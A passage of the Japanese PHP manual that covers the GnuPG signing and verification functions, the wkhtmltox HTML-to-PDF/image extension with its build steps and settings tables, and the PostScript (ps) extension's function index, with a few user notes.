$gpg -> setarmor(1); // enable armored output;
$gpg -> setarmor(0); // disable armored output;
?>

User Contributed Notes

jmgorena at gmail dot com 10-Jan-2008 02:51
Take note that when ARMOR is set to OFF, the output will be BINARY. This is wanted for converting file data to a binary gpg format.

With the ARMOR set to ON, the output is ASCII. This might be used for messaging (email, IM, IRC, etc).

Example with Armor on:
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.6 (GNU/Linux)

hQIOA+9JbyriNorZEAf/UuCyC0T80XffXVkmewfrRSvtsYbNSGZFvSr+32jJT2fs
...
...
=YJ4D
-----END PGP MESSAGE-----


エラー報告モードを設定する

  • ≪ gnupg_setarmor
  • gnupg_setsignmode ≫
  • PHP Manual
  • GnuPG 関数
  • エラー報告モードを設定する

gnupg_seterrormode

(PECL gnupg >= 0.6)

gnupg_seterrormode — エラー報告モードを設定する

説明

gnupg_seterrormode ( resource $identifier , int $errormode ) : void

error_reporting のモードを設定します。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

errormode

エラー形式。

errormode には、 使用するエラー報告形式を表す定数を指定します。 GNUPG_ERROR_WARNING、 GNUPG_ERROR_EXCEPTION および GNUPG_ERROR_SILENT が使用可能です。 デフォルトでは GNUPG_ERROR_SILENT が使用されます。

返り値

値を返しません。

例

例1 手続き型の gnupg_seterrormode() の例

<?php
$res = gnupg_init();
gnupg_seterrormode($res,GNUPG_ERROR_WARNING); // エラー時には PHP の警告を発生させます
?>

例2 オブジェクト指向の gnupg_seterrormode() の例

<?php
$gpg = new gnupg();
$gpg -> seterrormode(gnupg::ERROR_EXCEPTION); // エラー時には例外をスローします
?>

User Contributed Notes

There are no user contributed notes for this page.


署名方式を設定する

  • ≪ gnupg_seterrormode
  • gnupg_sign ≫
  • PHP Manual
  • GnuPG 関数
  • 署名方式を設定する

gnupg_setsignmode

(PECL gnupg >= 0.1)

gnupg_setsignmode — 署名方式を設定する

説明

gnupg_setsignmode ( resource $identifier , int $signmode ) : bool

署名方式を設定します。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

sigmode

署名の形式。

signmode には、 作成する署名の形式を表す定数を指定します。 GNUPG_SIG_MODE_NORMAL、 GNUPG_SIG_MODE_DETACH および GNUPG_SIG_MODE_CLEAR が使用可能です。 デフォルトでは GNUPG_SIG_MODE_CLEAR が使用されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 手続き型の gnupg_setsignmode() の例

<?php
$res = gnupg_init();
gnupg_setsignmode($res,GNUPG_SIG_MODE_DETACH); // 独立した署名を作成します
?>

例2 オブジェクト指向の gnupg_setsignmode() の例

<?php
$gpg = new gnupg();
$gpg -> setsignmode(gnupg::SIG_MODE_DETACH); // 独立した署名を作成します
?>

User Contributed Notes

There are no user contributed notes for this page.


指定したテキストに署名する

  • ≪ gnupg_setsignmode
  • gnupg_verify ≫
  • PHP Manual
  • GnuPG 関数
  • 指定したテキストに署名する

gnupg_sign

(PECL gnupg >= 0.1)

gnupg_sign — 指定したテキストに署名する

説明

gnupg_sign ( resource $identifier , string $plaintext ) : string

事前に gnupg_addsignkey で設定したキーを使用して plaintext に署名し、 gnupg_setsignmode の設定に応じて署名済みテキストあるいは署名を返します。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

plaintext

署名したい平文テキスト。

返り値

成功した場合、この関数は署名済みテキストあるいは署名を返します。 失敗した場合、この関数は false を返します。

例

例1 手続き型の gnupg_sign() の例

<?php
$res = gnupg_init();
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = gnupg_sign($res, "just a test");
echo $signed;
?>

例2 オブジェクト指向の gnupg_sign() の例

<?php
$gpg = new gnupg();
$gpg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = $gpg->sign("just a test");
echo $signed;
?>

User Contributed Notes

phplist2REMOVE AT REMtincanOVE.co.uk 08-Nov-2006 03:42
It's a bit confusing how the "keyinfo" for a key returns "can_sign".

If you have only added your Public Key, it will indicate "can_sign" for the key in "keyinfo", but that doesn't mean yet, that you can sign with the key. You will also need to add your Private Key to actually make signing work.


署名済みテキストを検証する

  • ≪ gnupg_sign
  • wkhtmltox ≫
  • PHP Manual
  • GnuPG 関数
  • 署名済みテキストを検証する

gnupg_verify

(PECL gnupg >= 0.1)

gnupg_verify — 署名済みテキストを検証する

説明

gnupg_verify ( resource $identifier , string $signed_text , string $signature , string &$plaintext = ? ) : array

指定した signed_text を検証し、署名についての情報を返します。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

signed_text

The signed text.

signature

署名。clearsign で署名されたテキストを検証するには、 signature に false を設定します。

plaintext

平文テキスト。 このオプションのパラメータを渡すと、 復号されたテキストがそこに保存されます。

返り値

成功した場合、この関数は署名についての情報を返します。 失敗した場合、この関数は false を返します。

例

例1 手続き型の gnupg_verify() の例

<?php
$plaintext = "";
$res = gnupg_init();
// clearsigned
$info = gnupg_verify($res,$signed_text,false,$plaintext);
print_r($info);
// detached signature
$info = gnupg_verify($res,$signed_text,$signature);
print_r($info);
?>

例2 オブジェクト指向の gnupg_verify() の例

<?php
$plaintext = "";
$gpg = new gnupg();
// clearsigned
$info = $gpg -> verify($signed_text,false,$plaintext);
print_r($info);
// detached signature
$info = $gpg -> verify($signed_text,$signature);
print_r($info);
?>

User Contributed Notes

kae at verens dot com 19-Sep-2008 04:27
You can see who made the signature by checking its fingerprint:

<?php
$res = gnupg_init();
$info = gnupg_verify($res,$signed_text,$signature);
if($info !== false){
  $fingerprint = $info['fingerprint'];
  var_dump(gnupg_keyinfo($res, $fingerprint));
}


wkhtmltox

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • wkhtmltox\PDF\Converter — wkhtmltox\PDF\Converter クラス
    • wkhtmltox\PDF\Converter::add — Add an object for conversion
    • wkhtmltox\PDF\Converter::__construct — Create a new PDF converter
    • wkhtmltox\PDF\Converter::convert — Perform PDF conversion
    • wkhtmltox\PDF\Converter::getVersion — Determine version of Converter
  • wkhtmltox\PDF\Object — The wkhtmltox\PDF\Object class
    • wkhtmltox\PDF\Object::__construct — Create a new PDF Object
  • wkhtmltox\Image\Converter — wkhtmltox\Image\Converter クラス
    • wkhtmltox\Image\Converter::__construct — Create a new Image converter
    • wkhtmltox\Image\Converter::convert — Perform Image conversion
    • wkhtmltox\Image\Converter::getVersion — Determine version of Converter

User Contributed Notes

There are no user contributed notes for this page.


はじめに

libwkhtmltox は、QtWebKit レンダリングエンジンを使用して、HTML を PDF やさまざまな画像フォーマットにレンダリングするためのオープンソースの LGPLv3 ライブラリです。

User Contributed Notes

There are no user contributed notes for this page.


要件

libwkhtmltox のソースとバイナリリリースは » wkhtmltopdf.org で配布されています。

警告

Windows ユーザーは wkhtmltox.dll を PATH に追加するさらなる手順を実行する必要があります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張機能のソースコードと Windows 用バイナリは » github でホストされています。

ソースコードの取得と拡張機能のビルド：

git clone https://github.com/krakjoe/wkhtmltox
cd wkhtmltox
phpize
./configure --with-wkhtmltox=/path/to/wkhtmltox/installation
make
sudo make install

更新の取得と拡張機能の再ビルド：

cd wkhtmltox
phpize --clean
git pull origin master
phpize
./configure --with-wkhtmltox=/path/to/wkhtmltox/installation
make
sudo make install

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

名前 | 説明 | デフォルト | ステージ | 変更履歴
wkhtmltox.graphics | libwkhtmltox にグラフィックの使用を許可する | Off | PHP_INI_SYSTEM | PHP_INI_PERDIR | >= 0.3.2

User Contributed Notes

There are no user contributed notes for this page.


wkhtmltox\PDF\Converter クラス

(wkhtmltox >= 0.1.0)

はじめに

一件あるいは一組のHTML入力をPDF出力に変換する

クラス概要

wkhtmltox\PDF\Converter {
/* コンストラクタ */
public __construct ( array $settings = ? )
/* メソッド */
public add ( wkhtmltox\PDF\Object $object ) : void
public convert ( ) : string|null
public getVersion ( ) : string
}

目次

  • wkhtmltox\PDF\Converter::add — Add an object for conversion
  • wkhtmltox\PDF\Converter::__construct — Create a new PDF converter
  • wkhtmltox\PDF\Converter::convert — Perform PDF conversion
  • wkhtmltox\PDF\Converter::getVersion — Determine version of Converter

User Contributed Notes

There are no user contributed notes for this page.


Add an object for conversion

  • ≪ wkhtmltox\PDF\Converter
  • wkhtmltox\PDF\Converter::__construct ≫
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Add an object for conversion

wkhtmltox\PDF\Converter::add

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Converter::add — Add an object for conversion

説明

public wkhtmltox\PDF\Converter::add ( wkhtmltox\PDF\Object $object ) : void

Adds the given object to conversion

パラメータ

object

The object to add

User Contributed Notes

There are no user contributed notes for this page.


Create a new PDF converter

  • ≪ wkhtmltox\PDF\Converter::add
  • wkhtmltox\PDF\Converter::convert ≫
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Create a new PDF converter

wkhtmltox\PDF\Converter::__construct

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Converter::__construct — Create a new PDF converter

説明

public wkhtmltox\PDF\Converter::__construct ( array $settings = ? )

Creates a PDF converter, using optional configuration settings

パラメータ

settings

Name | Description | Values | Changelog
size.pageSize | paper size of output document | A4 | >= 0.1.0
size.width | with of the output document | 210mm | >= 0.1.0
size.height | height of the output document | 297mm | >= 0.1.0
orientation orientation of the output document
Landscape
Portrait
>= 0.1.0
colorMode color mode of the output document
Color
Greyscale
>= 0.1.0
resolution | resoluition of the output document | most likely has no effect | >= 0.1.0
dpi | dpi to use while printing | 80 | >= 0.1.0
pageOffset | integer added to page numbers generating headers, footers, and toc | >= 0.1.0
copies | >= 0.1.0
collate | collate copies | boolean | >= 0.1.0
outline | generate PDF outline | boolean | >= 0.1.0
outlineDepth | maximum depth of outline | >= 0.1.0
dumpOutline | path of file to dump outline XML | >= 0.1.0
out | path of output file, if "-" stdout is used | >= 0.1.0
documentTitle | title for the output document | >= 0.1.0
useCompression | enable or disable lossless compression | boolean | >= 0.1.0
margin.top | size of the top margin | 2cm | >= 0.1.0
margin.bottom | size of the bottom margin | 2cm | >= 0.1.0
margin.left | size of the left margin | 2cm | >= 0.1.0
margin.right | size of the right margin | 2cm | >= 0.1.0
imageDPI | maximum DPI for images in the output document | >= 0.1.0
imageQuality | the jpeg compression factor for images in the output document | 94 | >= 0.1.0
load.cookieJar | path of file used to load and store cookies | /tmp/cookies.txt | >= 0.1.0

User Contributed Notes

There are no user contributed notes for this page.


Perform PDF conversion

  • ≪ wkhtmltox\PDF\Converter::__construct
  • wkhtmltox\PDF\Converter::getVersion ≫
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Perform PDF conversion

wkhtmltox\PDF\Converter::convert

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Converter::convert — Perform PDF conversion

説明

public wkhtmltox\PDF\Converter::convert ( ) : string|null

Performs conversion of all previously added Objects

パラメータ

この関数にはパラメータはありません。

返り値

Where the return value is used, it will be populated with the contents of the conversion buffer

User Contributed Notes

There are no user contributed notes for this page.


Determine version of Converter

  • ≪ wkhtmltox\PDF\Converter::convert
  • wkhtmltox\PDF\Object ≫
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Determine version of Converter

wkhtmltox\PDF\Converter::getVersion

(wkhtmltox >= 0.3.2)

wkhtmltox\PDF\Converter::getVersion — Determine version of Converter

説明

public wkhtmltox\PDF\Converter::getVersion ( ) : string

Determines the version of Converter as reported by libwkhtmltox

パラメータ

この関数にはパラメータはありません。

返り値

Returns a version string

User Contributed Notes

There are no user contributed notes for this page.


The wkhtmltox\PDF\Object class

(wkhtmltox >= 0.1.0)

はじめに

Represents an HTML document, input to PDF converter

クラス概要

wkhtmltox\PDF\Object {
/* Constructor */
public __construct ( string $buffer , array $settings = ? )
}

目次

  • wkhtmltox\PDF\Object::__construct — Create a new PDF Object

User Contributed Notes

There are no user contributed notes for this page.


Create a new PDF Object

  • ≪ wkhtmltox\PDF\Object
  • wkhtmltox\Image\Converter ≫
  • PHP Manual
  • wkhtmltox\PDF\Object
  • Create a new PDF Object

wkhtmltox\PDF\Object::__construct

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Object::__construct — Create a new PDF Object

説明

public wkhtmltox\PDF\Object::__construct ( string $buffer , array $settings = ? )

Creates a new PDF Object from the given buffer and optional configuration settings

パラメータ

buffer

HTML

settings

Name | Description | Values | Changelog
page | URL or path of the HTML to convert | >= 0.1.0
useExternalLinks | set true to convert external links in the input into external PDF links in the output | boolean | >= 0.1.0
useLocalLinks | set true to convert internal links in the input into internal PDF links in the output | boolean | >= 0.1.0
produceForms | set true to turn HTML forms into PDF forms | boolean | >= 0.1.0
replacements | undocumented | >= 0.1.0
includeInOutline | set true to include sections from this object in the outline and toc | boolean | >= 0.1.0
pagesCount | set true to make page count in toc inclusive of the number of pages in this object | boolean | >= 0.1.0
tocXsl | set to style sheet to convert this object into a toc object | >= 0.1.0
toc.useDottedLines | set true to use dotted lines in toc | boolean | >= 0.1.0
toc.captionText | the caption text for toc | >= 0.1.0
toc.forwardLinks | set true to create links from toc to content | boolean | >= 0.1.0
toc.backLinks | set true to create links from content to toc | boolean | >= 0.1.0
toc.indentation | indentation for toc | 2em | >= 0.1.0
toc.fontScale | the factor to scale down the font at every toc level | 0.8 | >= 0.1.0
header.fontSize | font size for use in header | 13 | >= 0.1.0
header.fontName | name of font for use in header | times | >= 0.1.0
header.left | text for left of header | >= 0.1.0
header.center | text for center of header | >= 0.1.0
header.right | text for right of header | >= 0.1.0
header.line | enable or disable horizontal rule under header | boolean | >= 0.1.0
header.spacing | space between header and content | 1.8 | >= 0.1.0
header.htmlUrl | URL or path of HTML to use in header | >= 0.1.0
footer.fontSize | font size for use in footer | 13 | >= 0.1.0
footer.fontName | name of font for use in footer | times | >= 0.1.0
footer.left | text for left of footer | >= 0.1.0
footer.center | text for center of footer | >= 0.1.0
footer.right | text for right of footer | >= 0.1.0
footer.line | enable or disable horizontal rule under footer | boolean | >= 0.1.0
footer.spacing | space between footer and content | 1.8 | >= 0.1.0
footer.htmlUrl | URL or path of HTML to use in footer | >= 0.1.0
load.username | user name to use when loging into a website | bart | >= 0.1.0
load.password | the password to used when logging into a website | elbarto | >= 0.1.0
load.jsdelay | the amount of time in milliseconds to wait after a page is loaded until it is captured | 1200 | >= 0.1.0
load.zoomFactor | how much zoom should be applied to the content | 2.2 | >= 0.1.0
load.customHeaders | custom headers to send when requesting the main web page | >= 0.1.0
load.repertCustomHeaders | set true to send with all requests | boolean | >= 0.1.0
load.cookies | cookie string to send when requesting the main web page | >= 0.1.0
load.post | post string to send when requesting the main web page | >= 0.1.0
load.blockLocalFileAccess | disallow local and piped files to access other local files | boolean | >= 0.1.0
load.stopSlowScript | stop slow running javascript | boolean
load.debugJavascript | allow javascript to raise warnings | boolean | >= 0.1.0
load.loadErrorHandling set error handling strategy
abort | abort the convertion process
skip | do not add the object to the final output
ignore | try to add the object to the final output
>= 0.1.0
load.proxy | >= 0.1.0
web.background | include background image in output | boolean | >= 0.1.0
web.loadImages | include images in output | boolean | >= 0.1.0
web.enableJavascript | enable or disable javascript | boolean | >= 0.1.0
web.enableIntelligentShrinking | enable to attempt to fit more content on page, only applies to PDF output | boolean | >= 0.1.0
web.minimumFontSize | the minimum font size allowed | 9 | >= 0.1.0
web.printMediaType | print content using print media type instead of screen media type | boolean | >= 0.1.0
web.defaultEncoding | content to use where no encoding is specified | utf-8 | >= 0.1.0
web.userStyleSheet | URL or path to a user specified style sheet | /path/to/style.css | >= 0.1.0
web.enablePlugins | enable or disable NS plugins | boolean | >= 0.1.0

User Contributed Notes

There are no user contributed notes for this page.


wkhtmltox\Image\Converter クラス

(wkhtmltox >= 0.1.0)

はじめに

HTML入力をさまざまな画像形式に変換する

クラス概要

wkhtmltox\Image\Converter {
/* コンストラクタ */
public __construct ( string $buffer = ? , array $settings = ? )
/* メソッド */
public convert ( ) : string|null
public getVersion ( ) : string
}

目次

  • wkhtmltox\Image\Converter::__construct — Create a new Image converter
  • wkhtmltox\Image\Converter::convert — Perform Image conversion
  • wkhtmltox\Image\Converter::getVersion — Determine version of Converter

User Contributed Notes

There are no user contributed notes for this page.


Create a new Image converter

  • ≪ wkhtmltox\Image\Converter
  • wkhtmltox\Image\Converter::convert ≫
  • PHP Manual
  • wkhtmltox\Image\Converter
  • Create a new Image converter

wkhtmltox\Image\Converter::__construct

(wkhtmltox >= 0.1.0)

wkhtmltox\Image\Converter::__construct — Create a new Image converter

説明

public wkhtmltox\Image\Converter::__construct ( string $buffer = ? , array $settings = ? )

Creates an Image converter, optionally taking an input buffer and configuration settings

パラメータ

buffer

HTML

settings

Name | Description | Values | Changelog
in | URL or path of the input file, if "-" stdin is used | /path/to/markup.html | >= 0.1.0
out | path of output file, if "-" stdout is used, by default an internal buffer is used | /path/to/output.png | >= 0.1.0
fmt output format to use
"" default
jpg | output as JPEG
png | output as PNG
bmp | output as bitmap
svg | output as SVG
>= 0.1.0
transparent | when outputting a PNG or SVG, make the white background transparent | boolean | >= 0.1.0
screenWidth | the with of the screen used to render in pixels | 800 | >= 0.1.0
smartWidth | when true, screenWidth is expanded to the content width | boolean | >= 0.1.0
quality | compression factor to use when outputting a JPEG image | 94 | >= 0.1.0
crop.left | left/x coordinate of the window to capture in pixels | 200 | >= 0.1.0
crop.top | top/y coordinate of the window to capture in pixels | 200 | >= 0.1.0
crop.width | width of the window to capture in pixels | 200 | >= 0.1.0
crop.height | height of the window to capture in pixels | 200 | >= 0.1.0
load.cookieJar | path of file used to load and store cookies | /tmp/cookies.txt | >= 0.1.0
load.username | user name to use when loging into a website | bart | >= 0.1.0
load.password | the password to used when logging into a website | elbarto | >= 0.1.0
load.jsdelay | the amount of time in milliseconds to wait after a page is loaded until it is captured | 1200 | >= 0.1.0
load.zoomFactor | how much zoom should be applied to the content | 2.2 | >= 0.1.0
load.customHeaders | custom headers to send when requesting the main web page | >= 0.1.0
load.repertCustomHeaders | set true to send with all requests | boolean | >= 0.1.0
load.cookies | cookie string to send when requesting the main web page | >= 0.1.0
load.post | post string to send when requesting the main web page | >= 0.1.0
load.blockLocalFileAccess | disallow local and piped files to access other local files | boolean | >= 0.1.0
load.stopSlowScript | stop slow running javascript | boolean
load.debugJavascript | allow javascript to raise warnings | boolean | >= 0.1.0
load.loadErrorHandling set error handling strategy
abort | abort the convertion process
skip | do not add the object to the final output
ignore | try to add the object to the final output
>= 0.1.0
load.proxy | >= 0.1.0
web.background | include background image in output | boolean | >= 0.1.0
web.loadImages | include images in output | boolean | >= 0.1.0
web.enableJavascript | enable or disable javascript | boolean | >= 0.1.0
web.enableIntelligentShrinking | enable to attempt to fit more content on page, only applies to PDF output | boolean | >= 0.1.0
web.minimumFontSize | the minimum font size allowed | 9 | >= 0.1.0
web.printMediaType | print content using print media type instead of screen media type | boolean | >= 0.1.0
web.defaultEncoding | content to use where no encoding is specified | utf-8 | >= 0.1.0
web.userStyleSheet | URL or path to a user specified style sheet | /path/to/style.css | >= 0.1.0
web.enablePlugins | enable or disable NS plugins | boolean | >= 0.1.0

User Contributed Notes

There are no user contributed notes for this page.


Perform Image conversion

  • ≪ wkhtmltox\Image\Converter::__construct
  • wkhtmltox\Image\Converter::getVersion ≫
  • PHP Manual
  • wkhtmltox\Image\Converter
  • Perform Image conversion

wkhtmltox\Image\Converter::convert

(wkhtmltox >= 0.1.0)

wkhtmltox\Image\Converter::convert — Perform Image conversion

説明

public wkhtmltox\Image\Converter::convert ( ) : string|null

Performs conversion of the input buffer

パラメータ

この関数にはパラメータはありません。

返り値

Where the return value is used, it will be populated with the contents of the conversion buffer

User Contributed Notes

There are no user contributed notes for this page.


Determine version of Converter

  • ≪ wkhtmltox\Image\Converter::convert
  • PS ≫
  • PHP Manual
  • wkhtmltox\Image\Converter
  • Determine version of Converter

wkhtmltox\Image\Converter::getVersion

(wkhtmltox >= 0.3.2)

wkhtmltox\Image\Converter::getVersion — Determine version of Converter

説明

public wkhtmltox\Image\Converter::getVersion ( ) : string

Determines the version of Converter as reported by libwkhtmltox

パラメータ

この関数にはパラメータはありません。

返り値

Returns a version string

警告

This is not yet implemented by libwkhtmltox

User Contributed Notes

There are no user contributed notes for this page.


PostScript ドキュメントの作成

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • PS 関数
    • ps_add_bookmark — 現在のページにブックマークを追加する
    • ps_add_launchlink — ファイルを実行するためのリンクを追加する
    • ps_add_locallink — 同一ドキュメント内のページへのリンクを追加する
    • ps_add_note — 現在のページに注釈を追加する
    • ps_add_pdflink — 別の PDF ドキュメントのページへのリンクを追加する
    • ps_add_weblink — Web 上の場所へのリンクを追加する
    • ps_arc — 反時計回りに円弧を描く
    • ps_arcn — 時計回りに円弧を描く
    • ps_begin_page — 新しいページを開始する
    • ps_begin_pattern — 新しいパターンを開始する
    • ps_begin_template — 新しいテンプレートを開始する
    • ps_circle — 円を描く
    • ps_clip — 現在のパスを描画範囲として指定する
    • ps_close_image — 画像を閉じ、メモリを開放する
    • ps_close — PostScript ドキュメントを閉じる
    • ps_closepath_stroke — パスを閉じ、描画する
    • ps_closepath — パスを閉じる
    • ps_continue_text — 次の行にテキストを続ける
    • ps_curveto — 曲線を描く
    • ps_delete — PostScript ドキュメントの全リソースを削除する
    • ps_end_page — ページを終了する
    • ps_end_pattern — パターンを終了する
    • ps_end_template — テンプレートを終了する
    • ps_fill_stroke — 現在のパスを塗りつぶし、線を引く
    • ps_fill — 現在のパスを塗りつぶす
    • ps_findfont — フォントを読み込む
    • ps_get_buffer — 生成された PS データを含むバッファの内容を取得する
    • ps_get_parameter — パラメータを取得する
    • ps_get_value — 値を取得する
    • ps_hyphenate — 単語をハイフネーションする
    • ps_include_file — 外部ファイルを生の PostScript コードとして読み込む
    • ps_lineto — 直線を描く
    • ps_makespotcolor — スポット色を作成する
    • ps_moveto — 現在位置を設定する
    • ps_new — 新しい PostScript ドキュメントオブジェクトを作成する
    • ps_open_file — 出力用のファイルを開く
    • ps_open_image_file — ファイルから画像を開く
    • ps_open_image — 後で配置するために画像を読み込む
    • ps_open_memory_image — GD 画像を受け取り、PS ドキュメントにはめ込む画像を返す
    • ps_place_image — 画像をページに配置する
    • ps_rect — 矩形を描く
    • ps_restore — 以前に保存されたコンテキストを復元する
    • ps_rotate — 回転の程度を設定する
    • ps_save — 現在のコンテキストを保存する
    • ps_scale — 縮尺を設定する
    • ps_set_border_color — 注記の枠線の色を設定する
    • ps_set_border_dash — 注記の枠線の、破線の状態を設定する
    • ps_set_border_style — 注記の枠線の形式を設定する
    • ps_set_info — ドキュメントの情報を設定する
    • ps_set_parameter — パラメータを設定する
    • ps_set_text_pos — テキストの出力位置を設定する
    • ps_set_value — 値を設定する
    • ps_setcolor — 色を設定する
    • ps_setdash — 破線の形状を設定する
    • ps_setflat — 平面度を設定する
    • ps_setfont — 以降の出力で用いるフォントを設定する
    • ps_setgray — グレー値を設定する
    • ps_setlinecap — 線端の形状を設定する
    • ps_setlinejoin — 線の連結方法を設定する
    • ps_setlinewidth — 線幅を設定する
    • ps_setmiterlimit — miter limit 値を設定する
    • ps_setoverprintmode — overprint モードを設定する
    • ps_setpolydash — 破線の形状を設定する
    • ps_shading_pattern — シェーディング用のパターンを作成する
    • ps_shading — 以降の出力で用いるシェーディングを作成する
    • ps_shfill — 範囲をシェーディングで塗りつぶす
    • ps_show_boxed — テキストをボックス内に出力する
    • ps_show_xy2 — テキストを指定した位置に出力する
    • ps_show_xy — 指定された位置にテキストを出力する
    • ps_show2 — テキストを現在の位置に出力する
    • ps_show — テキストを出力する
    • ps_string_geometry — 文字列のジオメトリを取得する
    • ps_stringwidth — 文字列の幅を取得する
    • ps_stroke — 現在のパスを描画する
    • ps_symbol_name — グリフ名を取得する
    • ps_symbol_width — グリフの幅を取得する
    • ps_symbol — グリフを出力する
    • ps_translate — 座標変換を設定する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このモジュールは、PostScript ドキュメントを作成するためのものです。 PDF 拡張と多くの共通点を持っています。実際のところ API はほぼ同じで、 多くは関数名の最初の pdf_ を ps_ に変えるだけで使えます。 PostScript ドキュメントには直接関係のない機能（ハイパーリンクの追加など） も含まれていますが、これらは PostScript ドキュメントを PDF に変換した場合に有効となります。

この拡張によって作られたドキュメントは、いくつかの点で pdf 拡張に よって作られたドキュメントより優れています。なぜなら pslib のレンダリング関数はカーニングやハイフネーション、そしてリゲチャに対応しており、 よりよい出力が得られるからです。

User Contributed Notes

There are no user contributed notes for this page.


要件

少なくとも pslib >= 0.1.12 が必要です。 ps ライブラリ（pslib）は、 » http://pslib.sourceforge.net/ にあります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/ps.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールでは PostScript ドキュメントリソースを定義しています。これは ps_new() が返すものです。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

以下の 2 つの表は、ps 拡張で定義されている定数の一覧です。

線端の形状をあらわす定数
名前 | 意味
ps_LINECAP_BUTT |
ps_LINECAP_ROUND |
ps_LINECAP_SQUARED |
線の連結方法をあらわす定数
名前 | 意味
ps_LINEJOIN_MITER |
ps_LINEJOIN_ROUND |
ps_LINEJOIN_BEVEL |

User Contributed Notes

There are no user contributed notes for this page.


PS 関数

連絡先

もしこの拡張や pslib についての意見・バグフィックス・機能拡張などがあれば、 私 » steinm@php.net にメールをください。お待ちしています。

目次

  • ps_add_bookmark — 現在のページにブックマークを追加する
  • ps_add_launchlink — ファイルを実行するためのリンクを追加する
  • ps_add_locallink — 同一ドキュメント内のページへのリンクを追加する
  • ps_add_note — 現在のページに注釈を追加する
  • ps_add_pdflink — 別の PDF ドキュメントのページへのリンクを追加する
  • ps_add_weblink — Web 上の場所へのリンクを追加する
  • ps_arc — 反時計回りに円弧を描く
  • ps_arcn — 時計回りに円弧を描く
  • ps_begin_page — 新しいページを開始する
  • ps_begin_pattern — 新しいパターンを開始する
  • ps_begin_template — 新しいテンプレートを開始する
  • ps_circle — 円を描く
  • ps_clip — 現在のパスを描画範囲として指定する
  • ps_close_image — 画像を閉じ、メモリを開放する
  • ps_close — PostScript ドキュメントを閉じる
  • ps_closepath_stroke — パスを閉じ、描画する
  • ps_closepath — パスを閉じる
  • ps_continue_text — 次の行にテキストを続ける
  • ps_curveto — 曲線を描く
  • ps_delete — PostScript ドキュメントの全リソースを削除する
  • ps_end_page — ページを終了する
  • ps_end_pattern — パターンを終了する
  • ps_end_template — テンプレートを終了する
  • ps_fill_stroke — 現在のパスを塗りつぶし、線を引く
  • ps_fill — 現在のパスを塗りつぶす
  • ps_findfont — フォントを読み込む
  • ps_get_buffer — 生成された PS データを含むバッファの内容を取得する
  • ps_get_parameter — パラメータを取得する
  • ps_get_value — 値を取得する
  • ps_hyphenate — 単語をハイフネーションする
  • ps_include_file — 外部ファイルを生の PostScript コードとして読み込む
  • ps_lineto — 直線を描く
  • ps_makespotcolor — スポット色を作成する
  • ps_moveto — 現在位置を設定する
  • ps_new — 新しい PostScript ドキュメントオブジェクトを作成する
  • ps_open_file — 出力用のファイルを開く
  • ps_open_image_file — ファイルから画像を開く
  • ps_open_image — 後で配置するために画像を読み込む
  • ps_open_memory_image — GD 画像を受け取り、PS ドキュメントにはめ込む画像を返す
  • ps_place_image — 画像をページに配置する
  • ps_rect — 矩形を描く
  • ps_restore — 以前に保存されたコンテキストを復元する
  • ps_rotate — 回転の程度を設定する
  • ps_save — 現在のコンテキストを保存する
  • ps_scale — 縮尺を設定する
  • ps_set_border_color — 注記の枠線の色を設定する
  • ps_set_border_dash — 注記の枠線の、破線の状態を設定する
  • ps_set_border_style — 注記の枠線の形式を設定する
  • ps_set_info — ドキュメントの情報を設定する
  • ps_set_parameter — パラメータを設定する
  • ps_set_text_pos — テキストの出力位置を設定する
  • ps_set_value — 値を設定する
  • ps_setcolor — 色を設定する
  • ps_setdash — 破線の形状を設定する
  • ps_setflat — 平面度を設定する
  • ps_setfont — 以降の出力で用いるフォントを設定する
  • ps_setgray — グレー値を設定する
  • ps_setlinecap — 線端の形状を設定する
  • ps_setlinejoin — 線の連結方法を設定する
  • ps_setlinewidth — 線幅を設定する
  • ps_setmiterlimit — miter limit 値を設定する
  • ps_setoverprintmode — overprint モードを設定する
  • ps_setpolydash — 破線の形状を設定する
  • ps_shading_pattern — シェーディング用のパターンを作成する
  • ps_shading — 以降の出力で用いるシェーディングを作成する
  • ps_shfill — 範囲をシェーディングで塗りつぶす
  • ps_show_boxed — テキストをボックス内に出力する
  • ps_show_xy2 — テキストを指定した位置に出力する
  • ps_show_xy — 指定された位置にテキストを出力する
  • ps_show2 — テキストを現在の位置に出力する
  • ps_show — テキストを出力する
  • ps_string_geometry — 文字列のジオメトリを取得する
  • ps_stringwidth — 文字列の幅を取得する
  • ps_stroke — 現在のパスを描画する
  • ps_symbol_name — グリフ名を取得する
  • ps_symbol_width — グリフの幅を取得する
  • ps_symbol — グリフを出力する
  • ps_translate — 座標変換を設定する

User Contributed Notes

mattwheaton at hotmail dot com 18-Aug-2006 11:28
I also was not able to install ps using PEAR. Here are the steps I took to getting it installed:
